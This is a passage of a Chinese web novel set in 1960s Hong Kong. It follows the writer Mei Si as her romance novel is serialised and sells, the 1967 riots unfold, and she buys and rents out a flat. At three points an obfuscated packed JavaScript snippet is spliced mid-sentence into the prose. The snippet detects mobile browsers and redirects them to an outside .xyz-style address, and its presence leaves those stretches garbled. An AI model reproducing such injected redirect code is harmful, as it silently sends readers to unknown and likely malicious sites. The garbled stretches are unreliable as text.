在这样的犹豫彷徨之中,除夕到来,徙置楼热闹非凡,隔壁屋中,归家几个人回来看望家人,就在去年,林鹃与玉树两个获得迁居资格,在新大厦得到一间屋,结婚几年,终于有了自己的住处,归涛也随同过去,一家人在一起,当时搬家,欢天喜地。 梅思记挂几天后重新开盘,本没有什么情绪,不过初一这一天,林鹃与归玉树过来拜年,少不得要应酬。 苏凤香拉着林鹃便说话:“啊呀侬如今是交了好运了,那样一个好房子,自己屋里就有厕所哦,烧饭也不用到外面,一个月只要三十块,阿拉本来也想去住,只是不肯给哦,说阿拉房屋够住,侬看一看,孩子们都这样大了,这么小小地方,哪里够用?要买房也没得钱哦,侬瞧瞧,入伙前先付一万一,之后每个月‘只供’四百块哦,这是要吸干人的血……” 苏凤香手里拿着一张报纸,给林鹃看,上面是“丽晶楼”的广告,恒生银行放贷,“贷款买楼,平过交租”,要说每个月还银行四百块,仿佛也还能应付,仔细一算却不容易。 如今苏凤香每个月赚两百二十块,招娣来娣也都有薪水,一个月能有五百块进账,极力省俭的话,每月能有三百块的结余,有时甚至三百五十块,但要留出四百块还房款,却很有些悬,更不要说还有最先要缴的那一笔钱,一万一千块,实在是一笔巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770104|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 款,梅思想,自己若是卖两件首饰,勉强凑得出。 归玉树则是与梅思闲谈: “公司忙么?” “倒是还好。梅小姐的名字,如今愈发响了,如今报上时时见到。” 梅思摇头:“只怕你很快便看不到我的影子。” “怎么这样说?” 梅思便诉说了自己的苦闷。 归玉树笑一笑:“世间总是辜负人,梅小姐那样好的文笔,不给人看重。” 转而便说到自己:“无论怎样,你毕竟风光过,出了几本书,看看我现在,一直是落拓,只在小报上登小说。” 归玉树已经写了几年,可惜没能出头,他起先是看到武侠小说风行,便走武侠的路子,然而大报不肯收,只好发小报,后来又转而写侦探和科幻,可惜都没能引起注意。 因此归玉树很是愤然:“凭什么旁人都能行,唯独我便不可以?要说香港这几大家,金庸先生不必谈了,有谁能比得他呢?我只恨古龙倪匡这些人,也都浮上去了,古龙品格卑下,只以奇诡吸人眼目,倪匡更加好笑,新写的<地心洪炉>,在南极打北极熊,他到底有没有知识的?偏偏这样人,他们的书却能大卖。” 印刷厂的差事一直做着,倒是平稳得很,只是薪水低,又辛苦,几年做下来,实在有些疲倦,况且也不甘心今生便如此,香港是一个文艺发达的地方,各种书都有出版,自己坚持写作,就是希望有一天能够咸鱼翻身,大红大紫,从此跻身名流,至少也要衣食无忧,然而却长久蹉跎。 梅思想了想:“古龙的书,我没有怎样看过,不过既然能卖得出,想来有他们的长处,若是真要卖文,倒该学一学。” 归玉树平复了一下心气,微微笑道:“你说的有道理,生气又能怎样?既然要用文字换钱,少不得要把文学当生意来做,其实梅小姐你是可以的,琼瑶不是写成了么?她便是抓住了‘情’这个点,很多女孩子爱看的,梅小姐你也是经历过大风浪的,在那样壮阔的背景之中,加入刻骨铭心的爱情,或者竟能畅销。” 梅思心中登时便是一动,归玉树的建议听起来虽然有些市侩,仿佛一个商人,却也有他的道理,琼瑶之所以能成功,不仅仅在于小说中那沉重的历史追问,她描写的情感实在太刺激人心,就连自己读书时,常常也喘不过气。 正在说着,门一开又有人来,薛幸笑着给屋中的人敬礼:“过年好!” 招娣乐着跳起来:“Yes,Madam!” 苏凤香站起来笑道:“幸女啊,过了年便要当差了哦!以后是不是和明强一起出更?” 薛幸放下手来笑着说:“不是啊,香姨,他是巡警,我是交警,站在马路中心,指挥交通的,每天就这样,这样……” 说着便伸出手臂,做着姿势。 大家都笑起来,梅思笑道:“也很威风的,那些车子都要听你的话。” 薛幸一句话差一点冲口而出,“就想把阚德龙的车子拦下来”。 太可恨了,自己的仇人,因为他,自己差一点就要掉进火坑,幸好梅姨帮手,才能有今天当警察。 那一回明强警察学堂毕业,看到阚德龙对他如此客气,虽然是带了三分嘲讽,不过毕竟也表示出,明强的身份不一样了,那一刻薛幸便心动,想着也要投考,与家里人商量过,也都赞成,便去报了名。 要说薛幸,也是个有主意的女子,虽然自小便在工厂做事,但一直没有断了读书识字,日常有不认得的字,便去问梅思,所以这一次警察学堂考试,文化课她也过了的,所以便投考成功,训练半年时间,如今成为交通警。 然而仍不免有些怏怏:“其实我是很想当探员的。” 比交警威风多了,阚德龙当□□这么多年,定然有许多证据,倘若能给自己抓住,便送他进差馆,只有这样复仇,才能消散自己的恐惧和愤恨。 况且探员升迁快,薪水也更优厚一些,这样自己就能早一点还清梅姨的钱,虽然梅姨从没有说过要自己还钱,但薛幸秉性要强,当初的那一笔款子,一定要还的。 送走了薛幸,梅思也出了门,各处拜年,两个钟头后回来屋中,招手便叫招娣:“招娣你来,我同你说说话,现在的年轻人看小说,都喜欢什么故事?” 80.第八十章 青山遮不住 第八十章 青山遮不住 新春之后,香港会重新开盘,股价仍是停滞,梅思左思右想,还是投了一些钱进去,希望股市能有转机,这一阵相对平静,香港工商也还好,下跌了这样久,总该涨一些吧?就像古语说的,“否极泰来”,总不会一直跌。 此外,她提起笔来便写小说,写了几章之后,拿给窦啸川看,和他讲了后面是怎样计划,窦啸川笑道:“梅小姐这部小说,看构想很是精彩,只可惜本报依然是不好发的。” 梅思点点头,说:“我想投《明报》。” 窦啸川并不介意:“投那边合适些,另外梅小姐,我介绍一位编辑给你,就是这一位,裴冰华,你可以找裴小姐聊一聊,对于女性小说,她很有心得的。” 梅思按照纸条上的地址电话,便约了裴冰华喝茶,裴冰华把前面几章文稿看过一遍,又问了她如何安排后续发展,提了几个建议:“女主男主都要突出美貌英俊,风流潇洒;陕北的高原,要写得有异域风情,现在香港台湾的女孩子,是不喜欢那样艰苦的革命生活的,尤其不要让人感到很‘土’,我们不是费孝通,要写<乡土中国>;谢玉坤的结局要改,不能写杳无音讯,就此分别,这样虽然是怅惘了,然而对于读者来讲,不够刺激,你要把这个角色写成死亡,要这样安排,他是抗战的英雄,但死在了内战的战场上,包括兰星在内,没有人敢哀悼他,这样就很刺激人的情绪了。故事到这里就好,后面来香港,就不必多写了,只写兰星在香港追忆往昔就够了,很凄美的爱情故事,又有大时代的背景,很能够吸引人的。” 梅思犹豫道:“这样可以么?仿佛没有结局。” 裴冰华笑道:“什么又是真正的结局呢?两段恋情,足够了,看一看琼瑶是怎样写的,年轻的女孩子最喜欢这种浪漫的爱情。” 于是梅思便动笔开始写,不多久便在《明报》连载,每写十章八章,她便会与裴冰华相约见面,商量后面要怎样写,裴冰华对她讲:“延安的事差不多了,赶快转到桂林,虽然陕北的故事也很动人,但读者没有耐心看太久。” 对于延安的描写,按照裴冰华的建议,是以苍茫的高原为主,昏暗的窑洞则是一带而过,裴冰华斩钉截铁对她讲:“住徙置楼的姑娘,是不想再看到窑洞的。” 至于邹茵那样的女孩子,更加对这种黄土洞感到隔膜。 因此梅思着重写延安古城,暮云之下,寒鸦一片片惊起盘旋,很有古诗的氛围。 裴冰华鼓励梅思:“琼瑶多是以古典诗词入意境,非常的优美,我们中国人,还是更能够体味这种美,就好像从小吃惯的饭食一样,故乡的小菜总是最让人挂念的。” 于是梅思便加了一些诗句进去,“荒草浊河连古戍,悲笳明月动山城”,“疏鸿秋浦外,长笛晚楼前”,兰星与男友漫步到城墙边,男友吹笛来听,幽幽的笛声中,两个人相依相偎,其实景斌不会吹笛子,他只是酷爱写小说。 当写过这一段之后,梅思从头再读一遍:“倘若不看黄土高原,简直以为是重庆。” 强调的是横刀夺爱,女主为爱献身,之后便送别了恋人。 裴冰华笑道:“我知道你的意思,这样的写法,冲淡了革命,不过梅小姐,你要想明白,无论你想告诉人们什么事,第一要紧务必要有人来看,倘若没有人肯读,不管你有多么重要的见解,都是无用的。” 梅思叹一口气,终究要为五斗米而低头。 裴冰华见她仍然怅惘,便赶忙又说:“况且一个真正会写的人,即使是风花雪月,也能够写出许多东西,旁人还不知不觉。” 梅思这才稍稍开怀,是的,虽然延安的故事在小说中只占不多篇幅,但毕竟也给读者看了延安。 这一部《青山遮不住》,在报上连载了大半年,果然叫好连连,裴冰华喜滋滋安排出版,对梅思说:“肯定能大赚一笔!你赶快着手写第二篇小说。” 梅思皱眉:“写什么呢?” 裴冰华拍着她的手:“就照这样写,你想想还有些什么见闻,张爱玲写了那么多,都是她家里的事。” 裴冰华同她讲,三四月便可以印成书,梅思一面发愁下一部要怎样写,另一面也是欢喜,只等拿版税,据裴冰华说不会少。 梅思这边很开心,可是苏凤香却烦恼:“这工实在做不得了!” 梅思一愣:“怎么了?” “老板发了令,要大家小心做事,倘若碰坏了机器呢,便没有薪水,而且也不许人请假。你想一想,每个人都有家,哪可能全没事呢?况且自己也难免有身体不舒服,不准请假,要人在机器旁边做到死么?” 梅思蹙眉:“这样实在太过分了。” 简直就好像《包身工》,虽然还不到那样惨烈,但是人造花厂这样做,是把人当做了机器。 “你们要怎样办?” 苏凤香冷笑:“怎样办?自然是和他们闹咯!倘若这样也答应,还要人活么?那机器,哪年不坏几回?都已经用过几年了,又不是新买来,这都要算我们的钱,老板无本万利,都是我们给他买的机器。” 梅思直觉情势不妙,到五月,工潮果然愈演愈烈,七月街头开始出现炸弹,贺健莲每日提心吊胆:“大柱怎么办?会不会出事啊?” 一直到这一年的年底,炸弹才消失了,人们都松一口气。 邹千里道:“都是北京,那边在策动。” 梅思手握茶杯:“也是老板太过头了。” 资本主义的香港,活生生上演资本家对无产者的压榨,十分傲慢的,解雇工人,关闭注塑机部,这样强横,有恃无恐。 邹千里也默然,确实是有些过度,这样苛刻的条件,让人怎么能够答应呢?虽然怨恨这一场大暴动给人的惊恐,可是与朋友谈起时,也是以为这样太激怒人了,大陆的革命没有看到么?真的以为可以随便做? 几分钟后,邹千里叹道:“香港街头简直成了巴黎公社。” 转头望向梅思,马上又说:“桂廷准备去马来西亚。” 梅思一愣:“还回来么?” 邹千里摇头:“很难讲了,正在卖房。” 又拍着膝盖恨恨地说:“真是害人不浅!股票都在跌!” 六八年二月九号,春节已经过了,此时是正月十一,梅思与白明珠邹千里相约,到码头送别常桂廷一家人,白明珠与石碧月依依话别,邹千里握住常桂廷的手,红了眼圈:“桂廷,多多保重。” 常桂廷笑容有些凄惨:“你也是一样。” 然后环顾四面:“没想到这个年纪,终究是去国怀乡,连香港都待不住了。” 本是广西人,国民政府于大陆失败,他逃亡香港,虽然是英国的殖民地,毕竟也是中华国土,哪知香港也如此动荡,回忆起去年大半年的惊恐,简直就是城市战争,让自己再不敢住下去,只好变卖资产,离开香港,飘去南洋。 梅思宽慰道:“马来西亚也有许多中国人,那边天气很是温暖,据说很有些像香港。” 常桂廷朝她一笑:“梅小姐,还未恭喜你出书,那一部小说很好,只可惜偏遇到了这样的时局,想一想很是对不住你。” 梅思噗嗤一乐:“又不是你搞乱香港。” 常桂廷也笑起来,动了动嘴唇,视线飞快向石碧月那边一瞟,又望望梅思,说:“千里,以后到马来西亚游玩,可以找我。” 邹千里含笑答应。 到这时开船时间将近,彼此赶快又说几句话,石碧月便叫着孩子们:“快上船!” 又招呼常桂廷:“拿皮箱。” 上午送别了常桂廷,梅思便去见裴冰华,其时已是下午两点,裴冰华却刚刚从外面回来,还没有吃饭,梅思道:“我到外面走一走。” 裴冰华抬手拦住她:“我等下又要出去的,下午要与人见面。我们赶快谈,那一部小说……” 外面忽地有人叫:“裴小姐,送饭!” 裴冰华忙站起身,走去接饭,回来摊开食具在桌面,是一份烧鹅饭,她一边吃一边继续说着:“可惜时机不对,偏偏香港暴乱,本该红起来的,却落得不温不火,不过如今好了,总算平息了,公司要二度推介,刚好金先生也从国外回来了,倘若能够,在报上多发几篇书评,多做广告,便能把冷饭炒热,这书其实还没有真正开始卖呢……” 裴冰华满口生意经,满心盘算的是小说大卖,所谓“书评”便是广告,金先生则是金庸,去年那一场左翼恐怖,金庸感到生命有威胁,便离开香港,避乱去了国外,如今重回港岛。 之后不多日果不其然,报上连篇谈论《青山遮不住》,左翼右翼中间派的报纸都有点评,小说于是卖得好了起来,很快便加印,裴冰华也约梅思再去见面。 出版社内,裴冰华满脸是笑,把这一张支票交到梅思手里:“这一回的版税。” 梅思展开来一看,足足五千块,从没有赚到这样大一笔钱。 裴冰华笑着说:“你该请大家吃个饭,有这样的销量,少不了诸位同行鼓吹。” 贾文庸蔡静怡童岳江振波全都上阵了,就连方燕茹也写了稿子投到报上,在船务公司也是逢人就提,算是一个活广告。 梅思眼睛定定地望着那一串数字,声音微微有些发颤:“我也这样想,就这几天吧,裴小姐你哪天方便?” 裴冰华笑道:“我哪天都方便,这一阵要全力卖你这本书。你写几张条子,我找人给你送去,就是这些人,都要邀请的……” 裴冰华开列出一个名单来,递过便签本,梅思照着名单,一张张请柬写出来,餐馆定在爱文生。 到六月十四号这一天傍晚,梅思提早半个钟到深水埗,进入餐厅,不多时裴冰华便到了,今天的答谢宴,她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贾文庸大力拍着他的肩膀:“老弟,这一回你可是出了大力,倘若没有你们,场子便不会这样热闹,只可惜你那一派的人都不好约的,只好你老弟当个代表,替她们把酒喝了吧!” 众人哈哈大笑,梅思举起酒杯:“窦生,我敬你一杯!” 窦啸川哭笑不得,端起杯子一饮而尽,替□□干杯。 得说这一回梅思的小说,窦啸川站在政治立场,是真的没说好话,笔下十分严厉地抨击:“历尽辛苦来到延安,却只顾了谈恋爱,或者说书中只写男欢女爱,争风吃醋,仿佛这世上除了爱情,便没有其她重要的事情可讲,一群热血激情的青年革命者,给写成了终日罗曼蒂克,而且不单年轻人是这样,成熟的革命者也是这样,仿佛小市民的妇人,整天想的只是丈夫会不会背叛,找女学生,这是一种歪曲……” 对面派别马上便回应:“肃水先生以为这样的描写是肤浅,然而其实真正深刻的内涵正在于此,就是在这样的男男女女之中,现出人世的基底,社会的结构与运行便建在其上,这是人生的、社会的内核。” 然后梅思又倒了一杯酒,转而敬贾文庸:“谢谢经理,帮我写了那么多文章。” 小说能够大卖,不单是正经大报掀起的波澜,小报出力不小,比如贾文庸、蔡静怡这一众老同事,依然在小报打拼,有她们的关系,多家小报都在说这部故事,“乱世红颜烽火恋情”是最基本的调子,大报吸引的多是知识分子,小报则是吸引小市民。 裴冰华早已经和她说过:“单靠智识阶层,是卖不出去多少书的,要想大卖,就要争取市民读者,你看看张爱玲琼瑶卖出去多少书?冰心丁玲卖出去多少书?” 梅思登时醒悟:“我看外国的小说,也是爱看《飘》、《基督山伯爵》,像是《神曲》、《米德尔马契》,就要精神好的时候才读。” 所以无产阶级文学要争取大众,虽然不是为了版税,但道理居然相通。 这一顿酒一直喝到夜里十点多,梅思送别了宾客,与裴冰华一路慢慢地往回走着。 迎面吹着轻微而燠热的夏风,裴冰华一只手臂搭在梅思肩头,晃晃悠悠,咯咯乐着,嘴里喷着酒气:“石硖尾啊,我还没有住过。” 梅思笑道:“进去瞧瞧,热闹极了!” “大作家,眼看要发财了,这些钱打算怎么用?” 梅思想一想:“我打算买一间屋。” 裴冰华微微一愣,转而笑道:“那也好,下一回喝酒喝得晚,就可以住你的那一间房。” 81.第八十一章 包租婆 第八十一章 包租婆 七月下旬,梅思果然买下一间公寓,在筲箕湾。 听说她买在那里,朋友们纷纷皱眉: “啊哟,买在筲箕湾,你可要怎么进城呢?” “‘英雄被困筲箕湾,问君何日到中环’,不要说中环,来石硖尾都不容易。” 梅思也无奈:“就因为这样,所以才便宜。” 苏凤香当初看的那广告,当然是很贵,然而那楼是建在九龙窝打老道山,交通相对便利,自己买下的这间屋,是在筲箕湾,那是比官塘还荒凉的地方,往来十分不便,价格便也不高,更何况自己买下的公寓并不大,实用三百五十二方尺。 香港经过去年那一场骚动,经济受创严重,移民的商人抛售房产,新建的楼房也没有人要买,更何况是筲其湾,价格便更加跌落,梅思买下这一间房,因为是付全额,所以更便宜些,加厘印税只用去一万一千块。 那一天拿到了屋契,梅思回到石硖尾,很是珍重地收藏在藤箱里。 苏凤香望向这边,微微摇头:“这种时候侬敢买房产哦!” 梅思转头一笑:“我想香港是会恢复的。” 果然是不能够不看政治,这一次政治上的风暴,引发了股市下跌,另外房产也跌价,比六一年那一回惨上许多,现在一说买屋,不管有钱还是没钱,都是摇头。 不过根据梅思对政治的了解,她以为北京不会希望香港从此败落,到后来左翼不再使用炸弹,据说就是北京直接指令,因此香港未来还是可以再繁荣的,房产此时正在低价,可以买入,她早前便考虑了好一阵,如今刚好手里有了这样一笔钱,便定下契约,买了下来。 苏凤香便追问:“那么侬是要搬去住,还是怎样?” 梅思说:“正在看有什么人肯租。” 自己不想过去住,一是太不方便了,再有倘若自己住过去,石硖尾的这半间房室怎么办呢?莫非要退还给政府?然而实在舍不得,每个月只七元的租金啊,几乎就是白住,虽然与人共用一间屋,很是不便,不过如今也习惯了,淡淡然就好,离开了这里,到哪里去找这样便宜的住处? 因此梅思的主意就是,把那一间屋租出去,筲箕湾毕竟许多工厂大厦,在那里做工的人倘若要租房,自己这里现成便有一间,从此靠房租就可以生活,股息和稿费都可以当做津贴。 苏凤香在对面“呼”地松了一口气:“阿拉也是想,侬还是住在这里比较好。” 虽然倘若梅思搬出去,房间里可以空出一点,可是不知能宽松多久,当初的规矩,是一户至少五个人,十几年过去,新的徙置楼在建,也听说过原本一个房间里的另一户搬走后,没有再安排人入住,可是这也不做准,轮到自己这边,未必有那样的好运气,若是事务处又塞了别的人进来,那可很是麻烦。 与梅小姐共住这么多年,彼此性情已很是熟悉,梅小姐是个好相处的,假如换一个多事的进来,这样小的房间,出出入入总难免碰面,实在让人头痛。 梅思笑一笑,连忙叮咛:“不要同旁人讲。” 苏凤香笑道:“这还用侬嘱咐?招娣那三个,阿拉都已经叮咛伊拉,在外面少说话。” 又说:“只怕天长地久瞒不得。” 梅思道:“瞒得一时算一时。” 虽然都是老邻居,不过这件事还是能瞒则瞒,这便是“事以密成,语以泄败”,曹操小名叫做“阿瞒”,果然是个奸雄。 梅思收了新楼,忙着找工友加装洗手池莲蓬头、地面天花之类,花去一千多块,到十月底终于忙完,自然又是一场入伙宴,请了白太太一家还有东妹来看。 邹千里下了车,望着周围:“真不容易啊,倘若不是有车,难来这里。” 白明珠道:“风景不错,青山绿水的,那边便是海,吃梭子蟹想来新鲜便宜。” 梅思笑道:“果然便利得很,早起已经买了来在那里。” 大家进了门,东妹叫道:“幺姐啊,真好房子,以后你便是包租婆,好厉害的!那些要租房的见了你,都要客气!” 梅思哈哈地笑:“还不知租得出租不出。” 虽然发出了广告,但至今没有人来问。 请客人落座喝茶,梅思与东妹便到厨房忙,不多时端上一大盘清蒸梭子蟹,再便是摊鸡蛋、焖黄鳝、炒青菜,虽然简单,但盘盘碗碗显得丰盛。 大家吃饭,白明珠掰开一只螃蟹:“人在香港,倒也有些好处,海鲜尽情吃。” 邹千里取出一封信来递给梅思:“桂廷的来信。” 自他离去半年时间,第一封信。 梅思连忙拆开来看,上面多数都是写给邹千里的,讲述马来西亚的风光人情,常桂廷在那边也很不易,虽然逃离了战乱城市香港,但在吉隆坡人地生疏,好在有远房亲戚在此,又有同乡会,不至于完全茫然。 最后几句问候太太小姐少爷,还有东妹,顺带也提一下梅思:“代问梅小姐好,她的那一本书,一直伴在身边,便感觉去乡不远。” 梅思轻轻叹一口气,把信折叠起来,装进信封,还给邹千里。 将信揣在怀内,邹千里微微笑着说:“梅小姐,桂廷第一回看那本书,很有点不好意思呢。” 女主角兰星从延安回到桂林,遇到的第一个求婚者便是陈老爷,虽然年纪五十多岁,但显然是常桂廷改头换面,都是有钱,原配亡故。 常桂廷拿着书问邹千里:“我有这么老?” 当时邹千里笑着回道:“不然怎样写?要写而立之年么?” 常桂廷便只是笑,没有再说。 此时梅思听闻了这一段旧事,也有些不好意思:“真是对不住常先生。” 本来还在想要不要写,不过裴冰华竭力主张:“一定要写,这样才激烈,自然是不能照原本的样子,你改换一下,年纪大一些……啊自然便不好没有孩子,让他有一个儿子,那个儿子担心小妈进门,生了儿子分家产,便很是提防她,然而却终究也喜欢兰星,对她又爱又戒备……啊不是还有监视兰星的宪兵吗?宪兵也不顾职责,爱上了兰星,最后为她而死……你就这样写,读者肯定爱看!” 梅思记在本子上,最后一段符号如同旧毛衣拆的毛线:怎一个乱字了得啊,这剧情! 邹千里笑道:“没什么,桂廷明白的,在商言商,必得如此做。” 听到常桂廷如此理解,梅思心头这才轻松一些,是的,没有必要解说,是裴冰华的主意,事实上即使裴冰华没有起劲怂恿,想到读者,自己也会这样写,这便是“投其所好”,从这个角度,确实就像邹千里说的,是商业行为。 这时候白明珠蹙眉道:“梅小姐,你这本书呢,写得确实是好,我们一家都爱看,可是你为什么要那样写呢?怀孕堕胎这些,你知不知道Julie回家来问我,是不是真的这样呢?!我当时就和她说,那是小说,怎么能够当真?” 邹千里微笑道:“我倒是佩服梅小姐,很有胆量,这样的故事都敢写,像是有些人分不清小说与现实,那样的人不必理她。” 梅思:然而那就是现实,真实发生的事。 发表《延安日记》的时候,梅思颇有顾忌,其她的都照实写了,唯独那一段删去,到后来沈芒来通知自己景斌牺牲,文稿中也只说自己当时正生病,没写打胎。 这一回是写小说,她将这段情节与裴冰华一说,裴冰华起先也有些拿不准,考虑一阵之后便对她说:“就这样写!” 于是果然便给议论,报纸上颇多攻讦:“还没有结婚,就做这样的事,私生活混乱,果然这就是革命的本色,解放哦,男人女人乱搞,可见这位‘梅影’女士是怎样一个人了。” 一些中立派的报纸辩护说:“这是一种对强大权势的抗争,仅仅以情色来看待,就好像浅薄的人读《金瓶梅》,只看到床笫之事。而且小说是艺术,艺术便会有超于真实的想象,从书中的角色想到写书的人,是肤浅的。” 对方很快回应:“阁下才是学识浅薄。确实可以说是一种抗争吧,然而刘君显然没有看明,她挑战的不仅仅是延安的强横者,而是基本的伦理,倘若照此下去,整个社会的根基都会崩坏。是的,写书的人未必会像书中人物做事,但这种事是根本连写都不该写的,变成文字,就是大胆。” 白明珠瞥了他一眼:“倒是说得轻松,你看看已经把梅小姐说成什么样子?Julie的朋友都在猜呢,好在这一阵少有人再说了。” 邹千里脱口道:“这才大事不妙!” 没有人议论了,就说明这部书在人们眼中已经远去,那样买的人就少,倘若一直给人谈论,就可以加印三版四版,顶好是千秋万世,一直印下去才好,骂一骂能值几个钱?只要不骂到门上,都无所谓,走在街头,谁知道哪个是梅影?落在口袋里的钞票可是实实在在的,拿来买房买什么都好。 正在吃饭,忽然间外面叫门声:“有人在么?梅小姐在么?” 梅思忙站起来过去开门,只见门口是一个三十几岁的女子,短衫长裤,脚上一双球鞋,自己并不认识:“啊,您是哪一位?” 对方笑道:“啊哟您就是梅小姐么?我姓翁,叫美娇,您叫我阿娇就好,我是当经纪的,专门给人介绍房产,请问您的房子要放租么?要出卖么?都可以找我啦,胜过满街贴小广告~~” 梅思扭头望向房中:“阿娇啊不好意思,我现在有客人……” 邹千里高声道:“地产经纪么?快请进来!” 白明珠也道:“是啊是啊,刚好来看看这房子,省了跑第二回,你瞧瞧,这可是好房子啊,全新的,没住过,我们只是来开个火,虽然家具少了些,不过桌椅都是有的,只再加张床便好,赶快给搭个住客进来,也省了空放着。” 梅思便笑着让开路:“请进来看一看。” 翁美娇进了门,两步便到饭厅:“啊哟开火宴啊,好丰盛!让我看看这房子,真不错呢,你这是八楼,好彩头,这个位置望出去,风景也很好哦,厨房厕所也都装好了,一家三四个人很可以住进来,梅小姐,你这个房很好租的!啊呀呀锅和盆碗都有的,梅小姐回头把它们拿走么?” 梅思摇头:“我住得很远,在石硖尾,这些就想留下了。” 翁美娇乐呵呵道:“盘盘碗碗搬来搬去很麻烦的,弄不好便打碎了,留下来的好,新来的人便可以省了买锅买碗,虽然钱不多,也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梅思拿出怀表一看:“啊哟已经十二点四十三分,这么晚了,如果不嫌弃,不如一起用一点,虽然没什么好菜,胜过匆匆出街再寻觅。” 到这个时间,翁美娇确实饿了,于是便也不再推辞,一下子坐在板凳上,梅思把自己的碗筷刷洗了,给她装饭。 翁美娇夹了一条青菜,放进嘴里:“先生太太贵姓?……啊哟是邹先生白太太,在哪一行发财?” 邹千里道:“唉不要提了,自从国府败退,广西沦陷,我们在香港,并无根基,如今只靠一点小生意。” 便谈起了桂林。 翁美娇两眼望望这个,又望望那个,夹起一段黄鳝:“原来从前在桂林,是这么有名气的啊,难怪我一看先生太太,气度就不一样。” 邹千里颇有些得意,愈发侃侃而谈:“啊,当年……” 东妹闷着头三两下扒完了饭,站起身拉过梅思坐下来,自己匆匆去厨房洗碗筷,又装了半碗饭,回来递给梅思,嘴贴着耳朵悄悄地说:“幺姐,你快吃吧。” 翁美娇顶擅长抛砖引玉,邹千里给她三句两句勾起了兴头,便止不住地一直说下去,翁美娇落得安心吃饭,吃了一碗,又添一碗,把盘底的汤汁蒜渣都倒进碗里,左手拦住邹千里要倒酒的姿势,右手把饭用筷子搅了扒进嘴里:“邹生多谢你,酒我不喝的,下午还要做事。鱼汤泡饭顶好!让你们笑话了,我这个胃就是无底洞。” 梅思笑道:“羡慕你好胃口,我倒是也想吃,只是吃不多。” 翁美娇上下盯她几眼:“我们每天走来走去,只想看房,傻傻的便能吃饭。” 又过几分钟,翁美娇吃饱饭,张罗着要去洗碗,梅思忙拦道:“不过几只碗,我回来再洗便好。” 邹千里连连点头:“对对对,翁小姐事情忙,赶着看房,我们现在便去你公司,看看签合同。” 翁美娇也确实是赶时间,下午还约了有客人,便顺水推舟,同着主人家一起出了门,梅思锁好房门,五个人挤升降机下楼,在鑫嘉,翁美娇开出合同来,梅思仔细看了,邹千里和白明珠也帮同一起看,把那合同反反复复看过几遍,邹千里点头对梅思说:“可以签的。” 梅思便签了名字,交还一份合同给翁美娇,叮嘱道:“拜托帮我找一个长租客,不想总是换人。” 翁美娇拍胸脯应诺:“尽管放心,定要找个长租的,我现在不是帮客人找租客,是替朋友租房。” 梅思站起身来,拿起皮包,白明珠手帕一甩邹千里:“走啦,还在这里和人家高谈阔论,经济经济。” 邹千里一笑,便也站起来摆手告辞:“各位下次再见。” 出了经纪公司,已经是下午两点,到这时也不想再上去喝茶,白太太一家便开车回去。 车子里,白明珠埋怨丈夫:“你真是能代人请客。” 邹千里手握方向盘,哈哈笑道:“‘座上客常满,樽中酒不空。谈笑有鸿儒,往来无白丁。’” 仿佛又回到昔日的桂林,当代的孔北海,至于刘禹锡倒是罢了。 白明珠一撇嘴:“一群经纪罢了,还‘鸿儒’哩。” 邹千里笑笑不再说话,以示不与太太计较。 那边鑫嘉,几个经纪正和翁美娇玩笑:“娇姐今天运气,午饭省了自己买!” 翁美娇笑得前后摇晃:“‘虽然剩酒残羹,也是春风一度’。” 前两天听人家说的,用在这里倒是应景,虽然那盘盘碗碗多见了底,一个盘子干脆空了,不过剩下的菜也很够下饭。 82.第八十二章 花月两难全 第八十二章 花月两难全 翁美娇说到做到,不过一个礼拜工夫,便找好了租客,打电话到白明珠那里,东妹便搭车到石硖尾:“幺姐,有人肯租,说起码要租一年,你要去看看么?” 梅思便去了筲箕湾,见到翁美娇,傍晚见了租房人,骆生,三十二三岁,与太太戚宝珍同在附近公司做事,一家五个人,三个孩子今天都留在家中。 梅思与翁美娇陪同又看一遍房,翁美娇里外地跑:“这里房型都是一样的……看看这厕所,有莲蓬头,能洗澡的,厨房呢煤气都接好,柜子也都有了,两个睡房,一个摆碌架床,两个女孩睡得下,客厅这里还空了一块,在这里立个屏风,便又隔出一间,还可以睡一个仔,很好的。” 骆生左右看着,点点头不说话。 戚宝珍叹着气道:“房子是很好的,只可惜小了一点,不过这样的价钱,还想租怎样的呢?今日不知明日,要买房也为难。” 报纸上看房产广告,不必一定付首期的,每个月只要供几十块,以老公的收入,自己省俭些,也不是完全供不起,但如今香港依然是人心惶惶,谁敢买房呢?自家根在香港,等闲不容易走的,却只怕房子给丢炸弹,便什么都没了,租来住倒还省心些。 翁美娇笑道:“买房当然好,不过很费心的,水管瓷砖都要自己弄,以后也有无穷无尽的烦心事,租房便省事多了,有什么麻烦,找房东就好,她自然会来搞掂,梅小姐人很好的,有这样的房东,真是福气啊!” 第一次见面就请自己吃饭,虽然当时是那位尊贵先生邀请的。 骆滨虹侧过脸对戚宝珍道:“不必说了。” 转过头来又和梅思讲:“租金八十块一个月是吧?” 梅思点头:“是的。” “那么便签合同。” 翁美娇重重拍一下手:“骆生真是个干脆的人!” 回到鑫嘉,签了正式的房屋租赁合同,一年期,骆滨虹取出钱夹子,从里面一张一张取出三张一百元,一张五十元,梅思找了三张十元给他,便将自己手中的钥匙都交给骆滨虹:“骆生还是自己再换一把锁。” 骆滨虹笑着摇头:“不必了,信得过梅小姐。” 更主要的是,家里也没什么可偷的,换锁还要花钱。 收了房租,抽了三十二块给翁美娇,梅思便要离开。 